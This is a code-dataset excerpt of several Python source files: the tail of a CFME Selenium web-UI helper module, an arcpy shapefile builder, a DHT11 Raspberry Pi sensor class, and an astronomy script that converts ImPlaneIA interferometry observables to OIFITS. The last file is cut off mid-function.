\"\"\"\n pretty_attrs = ['locators', 'min_values']\n\n def __init__(self, *locators, **kwargs):\n self._locators = locators\n self._min = kwargs.get(\"min_values\", 0)\n\n def zip(self, with_values):\n if len(with_values) < self._min:\n raise ValueError(\"Not enough values provided ({}, expected {})\".format(\n len(with_values), self._min)\n )\n if len(with_values) > len(self._locators):\n raise ValueError(\"Too many values provided!\")\n return zip(self._locators, with_values)\n\n def __getitem__(self, i):\n \"\"\"To delegate access to the separate locators\"\"\"\n return self._locators[i]\n\n\n@fill.method((ShowingInputs, Sequence))\ndef _fill_showing_inputs_seq(si, i):\n for loc, val in si.zip(i):\n fill(loc, val)\n\n\n@fill.method((ShowingInputs, basestring))\ndef _fill_showing_inputs_str(si, s):\n fill(si, [s])\n\n\nclass Timelines(Pretty):\n \"\"\"\n A Timelines object represents the Timelines widget in CFME\n\n Args:\n loc: A locator for the Timelines element, usually the div with\n id miq_timeline.\n \"\"\"\n pretty_attrs = ['element']\n\n class Object(Pretty):\n \"\"\"\n A generic timelines object.\n\n Args:\n element: A WebElement for the event.\n \"\"\"\n pretty_attrs = ['element']\n\n def __init__(self, element):\n self.element = element\n self.pos = self.element.value_of_css_property('left')\n self.text = self.element.text\n\n def locate(self):\n return self.element\n\n class Event(Object):\n \"\"\"\n An event object.\n \"\"\"\n window_loc = '//div[@class=\"timeline-event-bubble-title\"]/../..'\n close_button = \"{}/div[contains(@style, 'close-button')]\".format(window_loc)\n data_block = '{}//div[@class=\"timeline-event-bubble-body\"]'.format(window_loc)\n\n @property\n def image(self):\n \"\"\" Returns the image name of an event. \"\"\"\n el = sel.element('.//img', root=self.element)\n if el:\n return os.path.split(sel.get_attribute(el, 'src'))[1]\n return False\n\n def open_block(self):\n \"\"\" Opens the events info block. \"\"\"\n self.close_block()\n sel.click(self.element)\n\n def close_block(self):\n \"\"\" Closes the events info block. \"\"\"\n try:\n sel.click(self.close_button)\n except (NoSuchElementException, MoveTargetOutOfBoundsException):\n pass\n\n def block_info(self):\n \"\"\" Attempts to return a dict with the information from the popup. \"\"\"\n self.open_block()\n data = {}\n elem = sel.element(self.data_block)\n text_elements = elem.text.split(\"\\n\")\n for line in text_elements:\n line += \" \"\n kv = line.split(\": \")\n if len(kv) == 1:\n if ':' not in kv[0]:\n data['title'] = kv[0].strip()\n else:\n data[kv[0]] = None\n else:\n data[kv[0]] = kv[1].strip()\n return data\n\n class Marker(Object):\n \"\"\" A proxied object in case it needs more methods further down the line.\"\"\"\n pass\n\n def __init__(self, loc):\n self.loc = loc\n\n def _list_events(self):\n ele = sel.elements('.//div[@name=\"events\"]/div', root=self.loc)\n return ele\n\n def _list_markers(self):\n ele = sel.elements('.//div[@name=\"ether-markers\"]/div', root=self.loc)\n return ele\n\n def find_first_marker_in_range(self):\n \"\"\" Finds the first marker on screen. \"\"\"\n for marker in self.markers():\n if sel.is_displayed(marker.element):\n return marker\n\n def find_first_event_in_range(self):\n \"\"\" Finds the first event on screen. \"\"\"\n marker = self.find_first_marker_in_range()\n pos = marker.pos\n for event in self.events():\n if event.pos > pos:\n return event\n\n def visible_events(self):\n \"\"\" A generator giving all visible events. \"\"\"\n marker = self.find_first_marker_in_range()\n pos = marker.pos\n for event in self.events():\n if event.pos > pos:\n yield event\n\n def find_visible_events_for_vm(self, vm_name):\n \"\"\" Finds all events for a given vm.\n\n Args:\n vm_name: The vm name.\n \"\"\"\n events = []\n for event in self.visible_events():\n info = event.block_info()\n if info.get('title', None) == vm_name:\n events.append(event)\n event.close_block()\n return events\n\n def events(self):\n \"\"\" A generator yielding all events. \"\"\"\n for el in self._list_events():\n yield self.Event(el)\n\n def markers(self):\n \"\"\" A generator yielding all markers. \"\"\"\n for el in self._list_markers():\n yield self.Marker(el)\n\n\nclass MultiFill(object):\n \"\"\"Class designed to fill the same value to multiple fields\n\n Args:\n *fields: The fields where the value will be mirrored\n \"\"\"\n def __init__(self, *fields):\n self.fields = fields\n\n\n@fill.method((MultiFill, object))\ndef _fill_multi_obj(mf, o):\n for field in mf.fields:\n fill(field, o)\n\n\nclass DriftGrid(Pretty):\n \"\"\" Class representing the table (grid) specific to host drift analysis comparison page\n \"\"\"\n\n def __init__(self, loc=\"//div[@id='drift_grid_div']\"):\n self.loc = loc\n\n def get_cell(self, row_text, col_index):\n \"\"\" Finds cell element of the grid specified by column index and row text\n\n Args:\n row_text: Title text of the cell's row\n col_index: Column index of the cell, starting with 0 for 1st data-containing column\n\n Note:\n `col_index` of 0 is used for the 2nd actual column in the drift grid, because\n the 1st column does not contain headers, only row descriptions.\n\n Returns:\n Selenium element of the cell.\n \"\"\"\n self.expand_all_sections()\n cell_loc = {\n '5.3': \".//div/div[1][contains(., '{}')]/../div[{}]\".format(row_text, col_index + 2),\n version.LOWEST: \".//tr/td[1][contains(., '{}')]/../td[{}]\"\n .format(row_text, col_index + 2)\n }\n cell = sel.element(cell_loc, root=self.loc)\n return cell\n\n def cell_indicates_change(self, row_text, col_index):\n \"\"\" Finds out if a cell, specified by column index and row text, indicates change\n\n Args:\n row_text: Title text of the cell's row\n col_index: Column index of the cell\n\n Note:\n `col_index` of 0 is used for the 2nd actual column in the drift grid, because\n the 1st column does not contain headers, only row descriptions.\n\n Returns:\n ``True`` if there is a change present, ``False`` otherwise\n \"\"\"\n cell = self.get_cell(row_text, col_index)\n\n # Cell either contains an image\n try:\n cell_img = sel.element(\".//img\", root=cell)\n if sel.get_attribute(cell_img, \"alt\") == 'Changed from previous':\n return True\n # or text\n except NoSuchElementException:\n if version.current_version() <= '5.3':\n cell_textdiv = sel.element(\"./div\", root=cell)\n if 'mark' in sel.get_attribute(cell_textdiv, 'class'):\n return True\n else: # LOWEST\n if 'color: rgb(33, 160, 236)' in sel.get_attribute(cell, 'style'):\n return True\n return False\n\n def expand_all_sections(self):\n \"\"\" Expands all sections to make the row elements found therein available\n \"\"\"\n while True:\n # We need to do this one by one because the DOM changes on every expansion\n try:\n el = sel.element({\n '5.3': './/div/span[contains(@class, \"toggle\") and contains(@class, \"expand\")]',\n version.LOWEST: './/div/img[contains(@src, \"plus\")]'},\n root=self.loc)\n sel.click(el)\n except NoSuchElementException:\n break\n\n\nclass ButtonGroup(object):\n def __init__(self, key):\n \"\"\" A ButtonGroup is a set of buttons next to each other, as is used on the DefaultViews\n page.\n\n Args:\n key: The name of the key field text before the button group.\n \"\"\"\n self.key = key\n self.locator = '//td[@class=\"key\" and normalize-space(text())=\"{}\"]/..'.format(self.key)\n\n def locate(self):\n \"\"\" Moves to the element \"\"\"\n # Use the header locator as the overall table locator\n return sel.move_to_element(self.locator)\n\n @property\n def active(self):\n \"\"\" Returns the alt tag text of the active button in thr group. \"\"\"\n loc = sel.element(self.locator + '/td[2]/ul/li[@class=\"active\"]/img')\n return loc.get_attribute('alt')\n\n def status(self, alt):\n \"\"\" Returns the status of the button identified by the Alt Text of the image. \"\"\"\n active_loc = self.locator + '/td[2]/ul/li/img[@alt=\"{}\"]'.format(alt)\n try:\n sel.element(active_loc)\n return True\n except NoSuchElementException:\n pass\n inactive_loc = self.locator + '/td[2]/ul/li/a/img[@alt=\"{}\"]'.format(alt)\n try:\n sel.element(inactive_loc)\n return False\n except NoSuchElementException:\n pass\n\n def choose(self, alt):\n \"\"\" Sets the ButtonGroup to select the button identified by the alt text. \"\"\"\n if not self.status(alt):\n inactive_loc = self.locator + '/td[2]/ul/li/a/img[@alt=\"{}\"]'.format(alt)\n sel.click(inactive_loc)\n\n\n@fill.method((ButtonGroup, basestring))\ndef _fill_showing_button_group(tb, s):\n tb.choose(s)\n\n\nclass ColorGroup(object):\n\n def __init__(self, key):\n \"\"\" A ColourGroup is a set of colour buttons next to each other, as is used on the DefaultViews\n page.\n\n Args:\n key: The name of the key field text before the button group.\n \"\"\"\n self.key = key\n self.locator = '//td[@class=\"key\" and text()=\"{}\"]/..'.format(self.key)\n\n def locate(self):\n \"\"\" Moves to the element \"\"\"\n # Use the header locator as the overall table locator\n return sel.move_to_element(self.locator)\n\n @property\n def active(self):\n \"\"\" Returns the alt tag text of the active button in thr group. \"\"\"\n loc = sel.element(self.locator + '/td[2]/div[contains(@title, \"selected\")]')\n color = re.search('The (.*?) theme', loc.get_attribute('title')).groups()[0]\n return color\n\n def status(self, color):\n \"\"\" Returns the status of the color button identified by the Title Text of the image. \"\"\"\n active_loc = self.locator + '/td[2]/div[contains(@title, \"{}\")' \\\n 'and contains(@title, \"selected\")]'.format(color)\n try:\n sel.element(active_loc)\n return True\n except NoSuchElementException:\n pass\n inactive_loc = self.locator + '/td[2]/div[contains(@title, \"{}\")' \\\n 'and contains(@title, \"Click\")]'.format(color)\n try:\n sel.element(inactive_loc)\n return False\n except NoSuchElementException:\n pass\n\n def choose(self, color):\n \"\"\" Sets the ColorGroup to select the button identified by the title text. \"\"\"\n if not self.status(color):\n inactive_loc = self.locator + '/td[2]/div[contains(@title, \"{}\")' \\\n 'and contains(@title, \"Click\")]'.format(color)\n sel.click(inactive_loc)\n\n\n@fill.method((ColorGroup, basestring))\ndef _fill_showing_color_group(tb, s):\n tb.choose(s)\n\n\nclass DynamicTable(Pretty):\n \"\"\"A table that can add or remove the rows.\n\n \"\"\"\n pretty_attrs = \"root_loc\", \"default_row_item\"\n ROWS = \".//tbody/tr[not(contains(@id, 'new_tr'))]\"\n\n def __init__(self, root_loc, default_row_item=None):\n self.root_loc = root_loc\n self.default_row_item = default_row_item\n\n @property\n def rows(self):\n return map(lambda r_el: self.Row(self, r_el), sel.elements(self.ROWS, root=self.root_loc))\n\n @lazycache\n def header_names(self):\n return map(sel.text, sel.elements(\".//thead/tr/th\", root=self.root_loc))\n\n def click_add(self):\n sel.click(sel.element(\".//tbody/tr[@id='new_tr']/td//img\", root=self.root_loc))\n\n def click_save(self):\n sel.click(sel.element(\n \".//tbody/tr[@id='new_tr']/td//input[@type='image']\", root=self.root_loc))\n\n def delete_row(self, by):\n pass\n\n def clear(self):\n while True:\n buttons = sel.elements(\".//tbody/tr/td/img[@alt='Delete']\")\n if not buttons:\n break\n sel.click(buttons[0])\n\n def add_row(self, data):\n self.click_add()\n editing_row = self.Row(self, \".//tbody/tr[@id='new_tr']\")\n fill(editing_row, data)\n self.click_save()\n\n class Row(object):\n def __init__(self, table, root):\n self.table = table\n self.root = root\n\n @property\n def values(self):\n cells = sel.elements(\"./td\", root=self.root)\n return dict(zip(self.table.header_names, map(sel.text, cells)))\n\n @property\n def inputs(self):\n result = []\n for cell in sel.elements(\"./td\", root=self.root):\n inputs = sel.elements(\"./input\", root=cell)\n if not inputs:\n result.append(None)\n else:\n result.append(inputs[0])\n return result\n\n @property\n def inputs_for_filling(self):\n return dict(zip(self.table.header_names, self.inputs))\n\n\n@fill.method((DynamicTable.Row, Mapping))\ndef _fill_dt_row_map(dtr, m):\n for name, input in dtr.inputs_for_filling.iteritems():\n fill(input, m.get(name, None))\n\n\n@fill.method((DynamicTable.Row, Anything))\ndef _fill_dt_row_other(dtr, anything):\n mapping_fields = [name for name in dtr.table.header_names if name.strip()]\n if isinstance(anything, (list, tuple)) and len(anything) == len(mapping_fields):\n # Create the dict and fill by dict\n fill(dtr, dict(zip(mapping_fields, anything)))\n else:\n # Use the default field\n if dtr.table.default_row_item is None:\n raise Exception(\"Cannot fill table row with anything when we dont know the def. field\")\n fill(dtr, {dtr.table.default_row_item: anything})\n\n\n@fill.method((DynamicTable, list))\ndef _fill_dt_list(dt, l, clear_before=False):\n if clear_before:\n dt.clear()\n for item in l:\n dt.add_row(item)\n\n\n@fill.method((DynamicTable, Anything))\ndef _fill_dt_anything(dt, anything, **kwargs):\n fill(dt, [anything], **kwargs)\n\n\nfill.prefer((DynamicTable, Anything), (object, Mapping))\nfill.prefer((DynamicTable.Row, Anything), (object, Mapping))\nfill.prefer((Select, types.NoneType), (object, types.NoneType))\nfill.prefer((DHTMLSelect, types.NoneType), (object, types.NoneType))\n","sub_path":"cfme/web_ui/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":110080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"85285430","text":"# coding:utf-8\nimport arcpy\nfrom arcpy import env\n\nenv.workspace = 'g:/python' ## 设置工作空间\nfile = open('11.txt') ## 读取text文件\n\n\ndef create_polygon(coord_l):\n point = arcpy.Point()\n array = arcpy.Array()\n featureList = []\n for feature in coord_l:\n for coord in feature:\n point.X = coord[0]\n point.Y = coord[1]\n array.add(point)\n\n array.add(array.getObject(0))\n polygon = arcpy.Polygon(array)\n array.removeAll()\n featureList.append(polygon)\n return featureList\n\n\nli = []\nfor line in file:\n li.append(map(float, line.split())) ##将坐标导入列表\ncoord_l = []\ncode_l = []\nfor i in range(len(li)):\n if len(li[i]) == 2:\n code_l.append(str(int(li[i][0])) + str(int(li[i][1])))\n coord_l.append([])\n else:\n coord_l[len(coord_l) - 1].append([li[i][1], li[i][2]])\n\npoly = create_polygon(coord_l)\narcpy.CopyFeatures_management(poly, 'g:/python/polygons.shp') ##设置生成的shp文件名\narcpy.AddField_management('polygons.shp', 'code', 'TEXT')\ncur = arcpy.UpdateCursor('polygons.shp')\ni = 0\nfor row in cur:\n row.code = code_l[i]\n cur.updateRow(row)\n i = i + 1\ndel cur, row","sub_path":"arcpy_shp.py","file_name":"arcpy_shp.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"97383522","text":"\nimport RPi.GPIO as GPIO\nimport DHT11_Python.dht11 as dht11\nfrom sensors.sensor import Sensor\nfrom sensors.sensor import SensorError\n\nclass DHT11_Sensor(Sensor):\n \"\"\"\n Class for direct work with sensor and get raw data from DHT11 sensor\n \"\"\"\n\n def __init__(self, pin=4):\n # initialize GPIO\n GPIO.setwarnings(False)\n GPIO.setmode(GPIO.BCM)\n GPIO.cleanup()\n\n self.pin = pin\n self.retries = 3\n\n def _dht11_reader(self):\n self.reader = dht11.DHT11(pin=self.pin)\n self.raw_data = self.reader.read()\n \n def __str__(self):\n \"\"\" Print the results for local testing \"\"\"\n if not self.sensor_data: # Data collected only after run() fucntion called\n return \"\"\n\n return str(self.sensor_data)\n\n def get_data(self):\n \"\"\" Get results in dictionary \"\"\"\n while not self._validate_data():\n continue\n\n self.sensor_data[\"humidity\"] = self.raw_data.humidity\n self.sensor_data[\"temperature\"] = self.raw_data.temperature\n\n return self.sensor_data\n\n def run(self):\n \"\"\" Main run file to run this module \"\"\"\n self._dht11_reader()\n return self.get_data()\n\n def _validate_data(self):\n if self.raw_data.is_valid():\n return True\n elif self.retries > 0:\n self.raw_data = self.reader.read()\n self.retries-= 1\n return False # This we still need to validate\n else:\n raise SensorError(\"Data from DHT11 is not valid\") \n","sub_path":"src/sensor/dht_11.py","file_name":"dht_11.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"22995864","text":"#! /usr/bin/env python\n\n\"\"\"\nReads ImPlaneIA output text of [CPs,phases,apmlitudes]_nn.txt in one directory\nWrites them out into oifits files in the same directory.\n\nChunkwide averaging might be a later development for real data.\n\nanand@stsci.edu started 2019 09 26 \nanand@stsci.edu beta 2019 12 04\n\n\"\"\"\n\nimport glob\nimport os\nimport pickle\n\nimport numpy as np\nfrom astropy.time.core import Time\nfrom astropy.io import fits\nfrom matplotlib import pyplot as plt\nfrom munch import munchify as dict2class\nfrom scipy.special import comb\nfrom scipy import stats\nimport copy\n\nimport nrm_analysis.misctools.oifits as oifits\n\nplt.close('all')\n\n\nclass ObservablesFromText():\n \"\"\"\n anand@stsci.edu 2019_09_27\n \"\"\"\n\n def __init__(self, nh, txtpath=None,\n oifpath=None,\n observables=(\"phases\", \"amplitudes\", \"CPs\", \"CAs\", \"fringepistons\"),\n oifinfofn='info4oif_dict.pkl',\n angunit=\"radians\",\n verbose=True):\n \"\"\"\n Methods: \n readtxtdata(): read in implania to internal arrays\n showdata(): print out data at user-specified precision\n\n Input: \n nh: number of holes in mask (int)\n textpaxt: directory where fringe observables' .txt files are stored (str)\n oifpath: directory (str). If omitted, oifits goes to same directory as textpath\n nslices: 1 for eg unpolarized single filter observation, \n 2 or more for polarized observations, \n many for IFU or repeated integration observations (int)\n observables: If (\"phases\", \"amplitudes\", \"CPs\", \"CAs\") for example - ImPlaneIA nomenclature\n then the files need to be named: \"/phases_{0:02d}.txt\".format(slc)\n Three or four quantities (omitting CA is optional)\n Order is relevant... pha, amp, cp [, ca]\n Implaneia txt data will be in txtpath/*.txt\n oifinfofn: default 'info4oif_dict.pkl' suits ImPlaneIA\n Pickle file of info oifits writers might need, in a dictionary\n Located in the same dir as text observable files. Only one for all slices...\n Implaneia writes this dictionary out with the default name.\n If you want to trim low and/or high ends of eg IFU spectral observables trim them\n on-the-fly before calling this routine.\n\n ImPlaneIA saves fp cp in RADIANS. Here we convert to DEGREES when writing to all OIFITS output from implaneia - 2020.10.18\n\n Units: as SI as possible.\n\n \"\"\"\n\n if verbose: print(\"ObservablesFromText: typical regex: {0:s}*.txt:\\n\", txtpath)\n print(\"ObservablesFromText: typical regex: {0:s}*.txt :\\n\", txtpath)\n self.txtpath = txtpath\n self.oifpath = oifpath\n self.verbose = verbose\n self.observables = observables\n self.oifinfofn = oifinfofn\n # Assume same number of observable output files for each observable. \n # Eg 1 slice or NINT slices cube output from eg implaneia.\n # Each image analyzed has a phases, an amplitudes, ... txt output file in this txtdir.\n # Each file might contain different numbers of individual quantities\n if verbose: print('Example of txt file pattern: txtpath/{0:s}*.txt'.format(self.observables[0]))\n # - yes many fringes, more cp's, and so on.\n self.nslices = len(\n glob.glob(self.txtpath+'/{0:s}*.txt'.format(self.observables[0])))\n if verbose: print(\"misctools.implane2oifits: slices' observables text filesets found:\", self.nslices)\n\n self.nh = nh\n self.nbl = int(comb(self.nh, 2))\n self.ncp = int(comb(self.nh, 3))\n self.nca = int(comb(self.nh, 4))\n # arrays of observables, (nslices,nobservables) shape.\n self.fp = np.zeros((self.nslices, self.nbl))\n self.fa = np.zeros((self.nslices, self.nbl))\n self.cp = np.zeros((self.nslices, self.ncp))\n if len(self.observables) > 3:\n self.ca = np.zeros((self.nslices, self.nca))\n self.pistons = np.zeros((self.nslices, self.nh))\n self.angunit = angunit\n if verbose:\n print(\"ImPlaneIA text output angle unit: %s\" % angunit)\n\n if angunit == 'radians':\n print(\"Will convert all angular quantities to degrees for saving\")\n self.degree = 180.0 / np.pi\n else:\n self.degree = 1\n\n self._readtxtdata()\n if self.verbose:\n self._showdata()\n\n def _makequads_all(self):\n \"\"\" returns int array of quad hole indices (0-based), \n and float array of three uvw vectors in all quads\n \"\"\"\n nholes = self.ctrs_eqt.shape[0]\n qlist = []\n for i in range(nholes):\n for j in range(nholes):\n for k in range(nholes):\n for q in range(nholes):\n if i < j and j < k and k < q:\n qlist.append((i, j, k, q))\n qarray = np.array(qlist).astype(int)\n if self.verbose:\n print(\"qarray\", qarray.shape, \"\\n\", qarray)\n qname = []\n uvwlist = []\n # foreach row of 3 elts...\n for quad in qarray:\n qname.append(\"{0:d}_{1:d}_{2:d}_{3:d}\".format(\n quad[0], quad[1], quad[2], quad[3]))\n if self.verbose:\n print('quad:', quad, qname[-1])\n uvwlist.append((self.ctrs_eqt[quad[0]] - self.ctrs_eqt[quad[1]],\n self.ctrs_eqt[quad[1]] - self.ctrs_eqt[quad[2]],\n self.ctrs_eqt[quad[2]] - self.ctrs_eqt[quad[3]]))\n if self.verbose:\n print(qarray.shape, np.array(uvwlist).shape)\n return qarray, np.array(uvwlist)\n\n def _maketriples_all(self):\n \"\"\" returns int array of triple hole indices (0-based), \n and float array of two uv vectors in all triangles\n \"\"\"\n nholes = self.ctrs_eqt.shape[0]\n tlist = []\n for i in range(nholes):\n for j in range(nholes):\n for k in range(nholes):\n if i < j and j < k:\n tlist.append((i, j, k))\n tarray = np.array(tlist).astype(int)\n if self.verbose:\n print(\"tarray\", tarray.shape, \"\\n\", tarray)\n\n tname = []\n uvlist = []\n # foreach row of 3 elts...\n for triple in tarray:\n tname.append(\"{0:d}_{1:d}_{2:d}\".format(\n triple[0], triple[1], triple[2]))\n if self.verbose:\n print('triple:', triple, tname[-1])\n uvlist.append((self.ctrs_eqt[triple[0]] - self.ctrs_eqt[triple[1]],\n self.ctrs_eqt[triple[1]] - self.ctrs_eqt[triple[2]]))\n # print(len(uvlist), \"uvlist\", uvlist)\n if self.verbose:\n print(tarray.shape, np.array(uvlist).shape)\n return tarray, np.array(uvlist)\n\n def _makebaselines(self):\n \"\"\"\n ctrs_eqt (nh,2) in m\n returns np arrays of eg 21 baselinenames ('0_1',...), eg (21,2) baselinevectors (2-floats)\n in the same numbering as implaneia\n \"\"\"\n nholes = self.ctrs_eqt.shape[0]\n blist = []\n for i in range(nholes):\n for j in range(nholes):\n if i < j:\n blist.append((i, j))\n barray = np.array(blist).astype(int)\n # blname = []\n bllist = []\n for basepair in blist:\n # blname.append(\"{0:d}_{1:d}\".format(basepair[0],basepair[1]))\n baseline = self.ctrs_eqt[basepair[0]] - self.ctrs_eqt[basepair[1]]\n bllist.append(baseline)\n return barray, np.array(bllist)\n\n def _showdata(self, prec=4):\n \"\"\" set precision of your choice in calling this\"\"\"\n print('nh {0:d} nslices {1:d} nbl {2:d} ncp {3:d} nca {4:d} '.format(\n self.nh, self.nslices, self.nbl, self.ncp, self.nca), end=\"\")\n print(\"observables in np arrays with {:d} rows\".format(self.nslices))\n\n if len(self.observables) == 4:\n print('nca', self.nca)\n else:\n print()\n np.set_printoptions(precision=prec)\n\n print(self.fp.shape, \"fp (degrees, but stored internally in radians):\\n\",\n self.fp*self.degree, \"\\n\")\n print(self.fa.shape, \"fa:\\n\", self.fa, \"\\n\")\n\n print(self.cp.shape, \"cp (degrees, but stored internally in radians):\\n\",\n self.cp*self.degree, \"\\n\")\n if len(self.observables) == 4:\n print(self.ca.shape, \"ca:\\n\", self.ca, \"\\n\")\n\n print(\"hole centers array shape:\", self.ctrs_eqt.shape)\n\n print(len(self.bholes), \"baseline hole indices\\n\", self.bholes)\n print(self.bls.shape, \"baselines:\\n\", self.bls)\n\n print(self.tholes.shape, \"triple hole indices:\\n\", self.tholes)\n print(self.tuv.shape, \"triple uv vectors:\\n\", self.tuv)\n\n print(self.qholes.shape, \"quad hole indices:\\n\", self.qholes)\n print(self.quvw.shape, \"quad uvw vectors:\\n\", self.quvw)\n\n def _readtxtdata(self):\n # to only be called from init\n # loop through all the requested observables,\n # read in the exposure slices of a data cube\n # Incoming imia text files' angles radians, want degrees in oifs\n\n # set up files to read\n # file name for each exposure (slice) in an image cube with nslices exposures\n fnheads = []\n if self.verbose:\n print(\"\\tfile names that are being looked for:\")\n for obsname in self.observables:\n # ImPlaneIA-specific filenames\n fnheads.append(self.txtpath+\"/\"+obsname+\"_{0:02d}.txt\")\n if self.verbose:\n print(\"\\t\"+fnheads[-1])\n\n # load from text into data arrays:\n for slice in range(self.nslices):\n # Sydney oifits prefers degrees 2020.10.17\n self.fp[slice:] = np.rad2deg(np.loadtxt(fnheads[0].format(slice)))# * 180.0 / np.pi\n self.fa[slice:] = np.loadtxt(fnheads[1].format(slice))\n self.cp[slice:] = np.rad2deg(np.loadtxt(fnheads[2].format(slice)))# * 180.0 / np.pi\n # Do the same to-degrees conversion with segment phases when we get to them!\n if len(self.observables) > 3: # expecting CAs, fringepistons\n self.ca[slice:] = np.loadtxt(fnheads[3].format(slice))\n self.pistons[slice:] = np.rad2deg(np.loadtxt(fnheads[4].format(slice))) # segment pistons in deg\n # read in pickle of the info oifits might need...\n pfd = open(self.txtpath+'/'+self.oifinfofn, 'rb')\n self.info4oif_dict = pickle.load(pfd)\n if self.verbose:\n for key in self.info4oif_dict.keys():\n print(key)\n pfd.close()\n self.ctrs_eqt = self.info4oif_dict['ctrs_eqt'] # mask centers in equatorial coordinates\n self.ctrs_inst = self.info4oif_dict['ctrs_inst'] # as-built instrument mask centers\n self.pa = self.info4oif_dict['pa']\n\n \"\"\" seexyz.py\n Sydney oifitx oi_array:\n Found oi_array\n ColDefs(\n name = 'TEL_NAME'; format = '16A'\n name = 'STA_NAME'; format = '16A'\n name = 'STA_INDEX'; format = '1I'\n name = 'DIAMETER'; format = '1E'; unit = 'METERS'\n name = 'STAXYZ'; format = '3D'; unit = 'METERS'\n name = 'FOV'; format = '1D'; unit = 'ARCSEC'\n name = 'FOVTYPE'; format = '6A'\n )\n \n [[ 0. -2.64 0. ]\n [-2.28631 0. 0. ]\n [ 2.28631 -1.32 0. ]\n [-2.28631 1.32 0. ]\n [-1.14315 1.98 0. ]\n [ 2.28631 1.32 0. ]\n [ 1.14315 1.98 0. ]]\n implaneia flips x and y, and switches sign on x \n \"\"\"\n self.bholes, self.bls = self._makebaselines()\n self.tholes, self.tuv = self._maketriples_all()\n self.qholes, self.quvw = self._makequads_all()\n\n\ndef Plot_observables(tab, vmin=0, vmax=1.1, cmax=180, unit_cp='deg', display=False):\n cp = tab.cp\n\n if unit_cp == 'rad':\n conv_cp = np.pi/180.\n h1 = np.pi\n else:\n conv_cp = 1\n h1 = np.rad2deg(np.pi)\n\n cp_mean = np.mean(tab.cp, axis=0)*conv_cp\n cp_med = np.median(tab.cp, axis=0)*conv_cp\n\n Vis = tab.fa\n Vis_mean = np.mean(Vis, axis=0)\n Vis_med = np.median(Vis, axis=0)\n\n target = tab.info4oif_dict['objname']\n\n cmin = -cmax*conv_cp\n if display:\n fig = plt.figure(figsize=(10, 5))\n plt.subplot(1, 2, 1)\n plt.title('Uncalibrated Vis. (%s)' % target)\n plt.plot(Vis.transpose(), 'gray', alpha=.2)\n plt.plot(Vis_mean, 'k--', label='Mean')\n plt.plot(Vis_med, linestyle='--', color='crimson', label='Median')\n plt.xlabel('Index', color='dimgray', fontsize=12)\n plt.ylabel(r'Vis.', color='dimgray', fontsize=12)\n plt.ylim([vmin, vmax])\n plt.legend(loc='best')\n\n plt.subplot(1, 2, 2)\n plt.title('Uncalibrated CP (%s)' % target)\n plt.plot(cp.transpose(), 'gray', alpha=.2)\n plt.plot(cp_mean, 'k--', label='Mean')\n plt.plot(cp_med, linestyle='--', color='crimson', label='Median')\n plt.xlabel('Index', color='dimgray', fontsize=12)\n plt.ylabel('CP [%s]' % unit_cp, color='dimgray', fontsize=12)\n plt.hlines(h1, 0, len(cp_mean),\n lw=1, color='k', alpha=.2, ls='--')\n plt.hlines(-h1, 0, len(cp_mean),\n lw=1, color='k', alpha=.2, ls='--')\n plt.ylim([cmin, cmax])\n plt.legend(loc='best')\n plt.tight_layout()\n return fig\n else:\n return\n\n\n# def calib_NRM(nrm_t, nrm_c, method='med'):\n#\n# # calibration factor Vis. (supposed to be one)\n# fact_calib_visamp = np.mean(nrm_c.fa, axis=0)\n# # calibration factor Phase Vis. (supposed to be zero)\n# fact_calib_visphi = np.mean(nrm_c.fp, axis=0)\n#\n# visamp_calibrated = nrm_t.fa/fact_calib_visamp\n# visphi_calibrated = nrm_t.fp - fact_calib_visphi\n# vis2_calibrated = visamp_calibrated**2\n#\n# if method == 'med':\n# vis2 = np.median(vis2_calibrated, axis=0) # V2\n# else:\n# vis2 = np.mean(vis2_calibrated, axis=0) # V2\n#\n# e_vis2 = np.std(vis2_calibrated, axis=0) # Error on V2\n#\n# if method == 'med':\n# visamp = np.median(visamp_calibrated, axis=0) # Vis. amp\n# else:\n# visamp = np.mean(visamp_calibrated, axis=0) # Vis. amp\n#\n# e_visamp = np.std(visamp_calibrated, axis=0) # Vis. amp\n#\n# if method == 'med':\n# visphi = np.median(visphi_calibrated, axis=0) # Vis. phase\n# else:\n# visphi = np.mean(visphi_calibrated, axis=0) # Vis. phase\n#\n# e_visphi = np.std(visphi_calibrated, axis=0) # Vis. phase\n#\n# # calibration factor closure amp (supposed to be one)\n# fact_calib_cpamp = np.mean(nrm_c.ca, axis=0)\n# # calibration factor closure phase (supposed to be zero)\n# fact_calib_cpphi = np.mean(nrm_c.cp, axis=0)\n#\n# shift2pi = np.zeros(nrm_t.cp.shape)\n# shift2pi[nrm_t.cp >= 6] = 2*np.pi\n# shift2pi[nrm_t.cp <= -6] = -2*np.pi\n#\n# \"\"\" Anthony, is this your _t or _c?\n# nrm.cp -= shift2pi\n# \"\"\"\n# nrm_t.cp -= shift2pi # I'm guessing it's _t\n#\n# cp_cal = nrm_t.cp - fact_calib_cpphi\n# cpamp_cal = nrm_t.ca/fact_calib_cpamp\n#\n# if method == 'med':\n# cp = np.median(cp_cal, axis=0)\n# else:\n# cp = np.mean(cp_cal, axis=0)\n#\n# e_cp = np.std(cp_cal, axis=0)\n#\n# if method == 'med':\n# cpamp = np.median(cpamp_cal, axis=0)\n# else:\n# cpamp = np.mean(cpamp_cal, axis=0)\n#\n# e_cpamp = np.std(cpamp_cal, axis=0)\n#\n# output = {'vis2': vis2,\n# 'e_vis2': e_vis2,\n# 'visamp': visamp,\n# 'e_visamp': e_visamp,\n# 'visphi': visphi,\n# 'e_visphi': e_visphi,\n# 'cp': cp,\n# 'e_cp': e_cp,\n# 'cpamp': cpamp,\n# 'e_cpamp': e_cpamp\n# }\n#\n# return dict2class(output)\n\ndef populate_NRM(nrm_t, method='med'):\n \"\"\" \n modelled on calib_NRM() but no calibration done because it's for a single object.\n Instead it just populates the appropriate dictionary. \n So nomenclature looks funny with _5, etc., \n Funny-looking clumsy straight handoffs to internal variable nmaes,...\n # RAC 3/3021\n If method='multi', preserve observables in each slice (integration) in the output class.\n Multi-slice observable arrays will have read-in shape (len(observable),nslices).\n Errors of multi-slice observables will be all zero (for now)\n Otherwise, take median or mean (assumed if method not 'med' or 'multi').\n\n \"\"\"\n\n visamp_in = nrm_t.fa\n 